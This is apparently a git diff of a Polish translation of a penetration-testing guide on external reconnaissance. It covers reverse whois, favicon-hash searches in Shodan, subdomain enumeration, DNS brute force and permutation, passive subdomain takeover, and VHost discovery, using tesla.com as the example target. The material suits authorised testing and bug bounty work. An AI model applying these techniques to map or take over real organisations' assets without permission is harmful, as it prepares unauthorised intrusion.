* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Darmowe**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Darmowe**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Darmowe** w sieci, nie darmowe API.
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Darmowe** web, nie darmowe API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nie darmowe
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie darmowe (tylko **100 darmowych** wyszukiwań)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie darmowe
|
||||
|
||||
Możesz zautomatyzować to zadanie za pomocą [**DomLink** ](https://github.com/vysecurity/DomLink)(wymaga klucza API whoxy).\
|
||||
Możesz także automatycznie odkrywać odwrotne whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
Możesz zautomatyzować to zadanie, używając [**DomLink** ](https://github.com/vysecurity/DomLink) (wymaga klucza API whoxy).\
|
||||
Możesz również przeprowadzić automatyczne odkrywanie reverse whois za pomocą [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Zauważ, że tę technikę można wykorzystać do odkrywania kolejnych nazw domen za każdym razem, gdy znajdziesz nową domenę.**
|
||||
**Zauważ, że możesz użyć tej techniki, aby odkryć więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
|
||||
|
||||
### **Śledzenie**
|
||||
### **Trackers**
|
||||
|
||||
Jeśli znajdziesz **ten sam identyfikator tego samego trackera** na 2 różnych stronach, można przypuszczać, że **obie strony** są **zarządzane przez ten sam zespół**.\
|
||||
Na przykład, jeśli zobaczysz ten sam **identyfikator Google Analytics** lub ten sam **identyfikator Adsense** na kilku stronach.
|
||||
Jeśli znajdziesz **ten sam ID tego samego trackera** na 2 różnych stronach, możesz przypuszczać, że **obie strony** są **zarządzane przez ten sam zespół**.\
|
||||
Na przykład, jeśli widzisz ten sam **ID Google Analytics** lub ten sam **ID Adsense** na kilku stronach.
|
||||
|
||||
Istnieją strony i narzędzia, które pozwalają wyszukiwać po tych trackerach i nie tylko:
|
||||
Istnieją strony i narzędzia, które pozwalają na wyszukiwanie według tych trackerów i więcej:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -128,20 +132,20 @@ Istnieją strony i narzędzia, które pozwalają wyszukiwać po tych trackerach
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Czy wiedziałeś, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego skrótu ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go użyć:
|
||||
Czy wiesz, że możemy znaleźć powiązane domeny i subdomeny naszego celu, szukając tego samego hasha ikony favicon? Dokładnie to robi narzędzie [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) stworzone przez [@m4ll0k2](https://twitter.com/m4ll0k2). Oto jak go używać:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - odkryj domeny z tym samym haszem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
![favihash - odkryj domeny z tym samym hashem ikony favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
Po prostu mówiąc, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
|
||||
Mówiąc prosto, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
|
||||
|
||||
Co więcej, możesz również wyszukiwać technologie za pomocą hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash faviconu podatnej wersji technologii internetowej**, możesz wyszukać go w shodan i **znaleźć więcej podatnych miejsc**:
|
||||
Co więcej, możesz również wyszukiwać technologie, używając hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash ikony favicon podatnej wersji technologii webowej**, możesz wyszukiwać w shodan i **znaleźć więcej podatnych miejsc**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
To jest sposób obliczenia **hasz ikony strony** internetowej:
|
||||
To jest sposób, w jaki możesz **obliczyć hash favicon** strony internetowej:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -154,66 +158,64 @@ fhash = mmh3.hash(favicon)
|
|||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Prawo autorskie / Unikalny ciąg znaków**
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Wyszukaj na stronach internetowych **ciągi znaków, które mogą być udostępniane w różnych witrynach w tej samej organizacji**. **Ciąg znaków praw autorskich** mógłby być dobrym przykładem. Następnie wyszukaj ten ciąg znaków w **Google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Ciąg znaków praw autorskich"`
|
||||
Szukaj na stronach internetowych **ciągów, które mogą być wspólne dla różnych stron w tej samej organizacji**. **Ciąg copyright** może być dobrym przykładem. Następnie wyszukaj ten ciąg w **google**, w innych **przeglądarkach** lub nawet w **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **Czas CRT**
|
||||
### **CRT Time**
|
||||
|
||||
To powszechne mieć zadanie cron, takie jak
|
||||
Powszechnie występuje zadanie cron, takie jak
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### Metoda odnawiania certyfikatów domenowych
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
Aby odnowić wszystkie certyfikaty domen na serwerze, nawet jeśli CA używane do tego nie ustawia czasu generacji w Czasie ważności, można **znaleźć domeny należące do tej samej firmy w dziennikach transparentności certyfikatów**.\
|
||||
Sprawdź ten [**artykuł po więcej informacji**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
### Mail DMARC information
|
||||
|
||||
### Informacje DMARC dotyczące poczty
|
||||
Możesz użyć strony takiej jak [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) lub narzędzia takiego jak [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), aby znaleźć **domeny i subdomeny dzielące te same informacje dmarc**.
|
||||
|
||||
Możesz skorzystać z witryny takiej jak [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) lub narzędzia takiego jak [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), aby znaleźć **domeny i subdomeny udostępniające te same informacje DMARC**.
|
||||
### **Passive Takeover**
|
||||
|
||||
### **Pasywne przejęcie**
|
||||
Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **stracić ten adres IP, ale zapomnieć o usunięciu rekordu DNS**. Dlatego, po prostu **uruchamiając VM** w chmurze (takiej jak Digital Ocean), faktycznie **przejmujesz niektóre subdomeny**.
|
||||
|
||||
Wygląda na to, że ludzie często przypisują subdomeny do adresów IP należących do dostawców chmury i w pewnym momencie **tracą ten adres IP, ale zapominają o usunięciu rekordu DNS**. Dlatego po prostu **uruchamiając maszynę wirtualną** w chmurze (np. Digital Ocean) faktycznie **przejmiesz niektóre subdomeny**.
|
||||
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia VM w DigitalOcean**, **uzyskuje** **IPv4** nowej maszyny i **wyszukuje w Virustotal rekordy subdomen** wskazujące na nią.
|
||||
|
||||
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia maszynę wirtualną w DigitalOcean**, **pobiera** adres **IPv4** nowej maszyny, a następnie **szuka w Virustotal rekordów subdomen** wskazujących na nią.
|
||||
|
||||
### **Inne sposoby**
|
||||
### **Other ways**
|
||||
|
||||
**Zauważ, że możesz użyć tej techniki, aby odkrywać więcej nazw domen za każdym razem, gdy znajdziesz nową domenę.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
Ponieważ już znasz nazwę organizacji posiadającej przestrzeń IP, możesz wyszukać te dane w Shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych nieoczekiwanych domen w certyfikacie TLS.
|
||||
Jak już wiesz, nazwa organizacji posiadającej przestrzeń IP. Możesz wyszukiwać te dane w shodan używając: `org:"Tesla, Inc."` Sprawdź znalezione hosty pod kątem nowych, nieoczekiwanych domen w certyfikacie TLS.
|
||||
|
||||
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwę organizacji**, a następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich znanych stron internetowych w **Shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, uzyskać **nazwa organizacji** i następnie wyszukać tę nazwę w **certyfikatach TLS** wszystkich stron internetowych znanych przez **shodan** z filtrem: `ssl:"Tesla Motors"` lub użyć narzędzia takiego jak [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)to narzędzie, które szuka **powiązanych domen** z główną domeną i **ich subdomenami**, naprawdę niesamowite.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)to narzędzie, które wyszukuje **domeny związane** z główną domeną i **subdomeny** z nimi, całkiem niesamowite.
|
||||
|
||||
### **Wyszukiwanie podatności**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
Sprawdź, czy istnieje możliwość [przejęcia domeny](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Być może jakaś firma **używa domeny**, ale **utrata własności**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
|
||||
Sprawdź niektóre [przejmowanie domen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Może jakaś firma **używa jakiejś domeny**, ale **straciła własność**. Po prostu zarejestruj ją (jeśli wystarczająco tanio) i daj znać firmie.
|
||||
|
||||
Jeśli znajdziesz jakąkolwiek **domenę z innym adresem IP** niż te, które już znalazłeś w odkryciu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (za pomocą Nessus lub OpenVAS) oraz [**skan portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek do "atakowania" ich**.\
|
||||
_Zauważ, że czasami domena jest hostowana wewnątrz adresu IP, który nie jest kontrolowany przez klienta, więc nie jest to w zakresie, bądź ostrożny._
|
||||
Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od tego, jakie usługi są uruchomione, możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
|
||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomeny
|
||||
## Subdomains
|
||||
|
||||
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie domeny związane z firmami.
|
||||
> Znamy wszystkie firmy w zakresie, wszystkie zasoby każdej firmy i wszystkie domeny związane z tymi firmami.
|
||||
|
||||
Nadszedł czas, aby znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
|
||||
Czas znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
|
||||
|
||||
{% hint style="success" %}
|
||||
Zauważ, że niektóre z narzędzi i technik do znajdowania domen mogą również pomóc w znalezieniu subdomen!
|
||||
Zauważ, że niektóre z narzędzi i technik do znajdowania domen mogą również pomóc w znajdowaniu subdomen!
|
||||
{% endhint %}
|
||||
|
||||
### **DNS**
|
||||
|
@ -224,7 +226,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
Najszybszym sposobem na uzyskanie dużej liczby subdomen jest wyszukiwanie w źródłach zewnętrznych. Najczęściej używane **narzędzia** to:
|
||||
Naj szybszym sposobem na uzyskanie wielu subdomen jest przeszukiwanie zewnętrznych źródeł. Najczęściej używane **narzędzia** to następujące (dla lepszych wyników skonfiguruj klucze API):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -273,15 +275,15 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Istnieją **inne interesujące narzędzia/API**, które mogą być przydatne do znalezienia subdomen, takie jak:
|
||||
Są **inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio wyspecjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znajdowania, takie jak:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Korzysta z interfejsu API [https://sonar.omnisint.io](https://sonar.omnisint.io), aby uzyskać subdomeny
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Używa API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskiwania subdomen
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
* [**Darmowe API JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
@ -305,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z AlienVault's Open Threat Exchange, Wayback Machine i Common Crawl dla określonej domeny.
|
||||
* [**gau**](https://github.com/lc/gau)**:** pobiera znane URL-e z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Przeszukują internet w poszukiwaniu plików JS i wydobywają z nich subdomeny.
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Zbierają dane z sieci w poszukiwaniu plików JS i wyodrębniają subdomeny stamtąd.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -335,18 +337,18 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) udostępnia darmowe API do wyszukiwania subdomen oraz historii adresów IP
|
||||
* [**securitytrails.com**](https://securitytrails.com/) ma darmowe API do wyszukiwania subdomen i historii IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Ten projekt oferuje **darmowo wszystkie subdomeny związane z programami bug bounty**. Możesz uzyskać dostęp do tych danych również za pomocą [chaospy](https://github.com/dr-0x0x/chaospy) lub uzyskać dostęp do zakresu używanego przez ten projekt [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Ten projekt oferuje **darmowo wszystkie subdomeny związane z programami bug-bounty**. Możesz uzyskać dostęp do tych danych również za pomocą [chaospy](https://github.com/dr-0x0x/chaospy) lub nawet uzyskać dostęp do zakresu używanego przez ten projekt [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Możesz znaleźć **porównanie** wielu z tych narzędzi tutaj: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **Atak siłowy DNS**
|
||||
### **DNS Brute force**
|
||||
|
||||
Spróbujmy znaleźć nowe **subdomeny** za pomocą ataku siłowego na serwery DNS, używając możliwych nazw subdomen.
|
||||
Spróbujmy znaleźć nowe **subdomeny** poprzez brute-forcing serwerów DNS, używając możliwych nazw subdomen.
|
||||
|
||||
Do tego działania będziesz potrzebować kilku **często używanych list słów dla subdomen, takich jak**:
|
||||
Do tej akcji będziesz potrzebować kilku **popularnych list słów subdomen**:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -354,77 +356,77 @@ Do tego działania będziesz potrzebować kilku **często używanych list słów
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Oraz adresy IP dobrych resolverów DNS. Aby wygenerować listę zaufanych resolverów DNS, możesz pobrać resolverów z [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i użyć [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) do ich filtrowania. Lub możesz użyć: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
A także IP dobrych resolverów DNS. Aby wygenerować listę zaufanych resolverów DNS, możesz pobrać resolvery z [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i użyć [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) do ich filtrowania. Lub możesz użyć: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Najbardziej polecane narzędzia do ataku siłowego DNS to:
|
||||
Najbardziej polecane narzędzia do brute-force DNS to:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które przeprowadziło skuteczny atak siłowy DNS. Jest bardzo szybkie, ale podatne na fałszywe wyniki dodatnie.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): To było pierwsze narzędzie, które skutecznie przeprowadzało brute-force DNS. Jest bardzo szybkie, jednak jest podatne na fałszywe pozytywy.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Myślę, że ten używa tylko 1 resolver
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Myślę, że ten używa tylko 1 resolvera
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to nakładka na `massdns`, napisana w języku go, która pozwala na wyliczenie prawidłowych subdomen za pomocą aktywnego brutalnego ataku, a także rozwiązywanie subdomen z obsługą symboli wieloznacznych i łatwym wsparciem wejścia-wyjścia.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) to wrapper wokół `massdns`, napisany w go, który pozwala na enumerację ważnych subdomen za pomocą aktywnego bruteforce, a także rozwiązywanie subdomen z obsługą wildcard i łatwym wsparciem dla wejścia-wyjścia.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): Wykorzystuje również `massdns`.
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): Używa również `massdns`.
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego brutalnego testowania nazw domen.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do brutalnego wymuszania nazw domen asynchronicznie.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Druga runda brutalnej siły DNS
|
||||
### Druga runda brute-force DNS
|
||||
|
||||
Po znalezieniu subdomen przy użyciu otwartych źródeł i brutalnej siły, można wygenerować zmiany znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
|
||||
Po znalezieniu subdomen za pomocą otwartych źródeł i brute-forcingu, możesz wygenerować modyfikacje znalezionych subdomen, aby spróbować znaleźć jeszcze więcej. Kilka narzędzi jest przydatnych w tym celu:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generuje permutacje domen i subdomen.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Daje domeny i subdomeny, generuje permutacje.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla podanych domen i subdomen generuje permutacje.
|
||||
* Możesz pobrać listę permutacji goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dla domen i subdomen generuj permutacje.
|
||||
* Możesz uzyskać permutacje goaltdns **wordlist** [**tutaj**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie zostanie wskazany plik z permutacjami, gotator użyje własnego.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dla podanych domen i subdomen generuje permutacje. Jeśli nie wskazano pliku z permutacjami, gotator użyje swojego własnego.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej skomentowanych narzędzi).
|
||||
* Możesz pobrać listę permutacji **słów** dla altdns [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Oprócz generowania permutacji subdomen, może również próbować je rozwiązać (ale lepiej użyć wcześniej wspomnianych narzędzi).
|
||||
* Możesz uzyskać permutacje altdns **wordlist** [**tutaj**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Kolejne narzędzie do wykonywania permutacji, mutacji i zmian poddomen. To narzędzie będzie próbować siłowo wynik (nie obsługuje dzikich kart DNS).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Inne narzędzie do wykonywania permutacji, mutacji i modyfikacji subdomen. To narzędzie będzie przeprowadzać brute force na wyniku (nie obsługuje dzikich kart dns).
|
||||
* Możesz pobrać listę słów permutacji dmut [**tutaj**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie określonych wzorców, aby odkryć więcej subdomen.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na podstawie domeny **generuje nowe potencjalne nazwy subdomen** na podstawie wskazanych wzorców, aby spróbować odkryć więcej subdomen.
|
||||
|
||||
#### Inteligentna generacja permutacji
|
||||
#### Generowanie inteligentnych permutacji
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Aby uzyskać więcej informacji, przeczytaj ten [**post**](https://cramppet.github.io/regulator/index.html), ale w skrócie pobierze **główne części** z **odkrytych subdomen** i połączy je, aby znaleźć więcej subdomen.
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Aby uzyskać więcej informacji, przeczytaj ten [**post**](https://cramppet.github.io/regulator/index.html), ale zasadniczo wyciągnie on **główne części** z **odkrytych subdomen** i wymiesza je, aby znaleźć więcej subdomen.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer siły brutalnej subdomen połączony z niezwykle prostym, ale skutecznym algorytmem prowadzonym przez odpowiedź DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozwijać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer do brutalnego ataku na subdomeny połączony z niezwykle prostym, ale skutecznym algorytmem opartym na odpowiedziach DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozszerzać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Workflow Odkrywania Subdomen**
|
||||
|
||||
Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny przy użyciu **najtrudniejszych schematów pracy**, aby nie musiał ręcznie uruchamiać wielu narzędzi na swoim komputerze:
|
||||
Sprawdź ten post na blogu, który napisałem o tym, jak **zautomatyzować odkrywanie subdomen** z domeny za pomocą **workflow Trickest**, aby nie musieć ręcznie uruchamiać wielu narzędzi na moim komputerze:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
|
||||
|
@ -432,15 +434,15 @@ Sprawdź ten wpis na blogu, który napisałem o tym, jak **zautomatyzować odkry
|
|||
|
||||
### **VHosts / Wirtualne Hosty**
|
||||
|
||||
Jeśli znalazłeś adres IP zawierający **jedną lub kilka stron internetowych** należących do subdomen, możesz spróbować **znaleźć inne subdomeny z witrynami na tym IP**, szukając w **źródłach OSINT** domen na danym IP lub **próbując siłowo nazwy domen VHost na tym IP**.
|
||||
Jeśli znalazłeś adres IP zawierający **jedną lub kilka stron internetowych** należących do subdomen, możesz spróbować **znaleźć inne subdomeny z witrynami w tym IP**, przeszukując **źródła OSINT** w poszukiwaniu domen w danym IP lub **brute-forcując nazwy domen VHost w tym IP**.
|
||||
|
